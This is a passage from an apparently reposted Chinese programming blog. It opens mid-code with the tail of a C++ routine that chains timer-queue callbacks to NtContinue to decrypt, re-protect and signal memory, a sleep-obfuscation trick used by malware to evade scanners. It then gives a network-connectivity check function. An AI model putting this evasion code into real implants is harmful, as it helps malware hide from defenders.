hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD); puts("[INFO] 等待 hEvent"); WaitForSingleObject(hEvent, INFINITE); puts("[INFO] 完成等待事件"); } DeleteTimerQueue(hTimerQueue); } ``` ## 判断当前程序是否联网 ```cpp #include <Netlistmgr.h> //检测是否联网头文件 true:联网成功, false: 联网失败 bool checkIsNetwork(){ bool bol = true; //是否联网,联网 true,不联网 false CoInitialize(NULL); // 通过NLA接口获取网络状态 IUnknown *pUnknown = NULL; HRESULT Result = CoCreateInstance(CLSID_NetworkListManager, NULL, CLSCTX_ALL, IID_IUnknown, (void **)&pUnknown); if (SUCCEEDED(Result)) { INetworkListManager *pNetworkListManager = NULL; if (pUnknown) Result = pUnknown->QueryInterface(IID_INetworkListManager, (void **)&pNetworkListManager); if (SUCCEEDED(Result)) { VARIANT_BOOL IsConnect = VARIANT_FALSE; if (pNetworkListManager) Result = pNetworkListManager->get_IsConnectedToInternet(&IsConnect); if (SUCCEEDED(Result)) { bol = (IsConnect == VARIANT_TRUE) ? true : false; } } if (pNetworkListManager) pNetworkListManager->Release(); } if (pUnknown) pUnknown->Release(); CoUninitialize(); return bol;} ``` 最后修改:2022 年 10 月 20 日 © 转载自他站 赞 3 如果觉得我的文章对你有用,请随意赞赏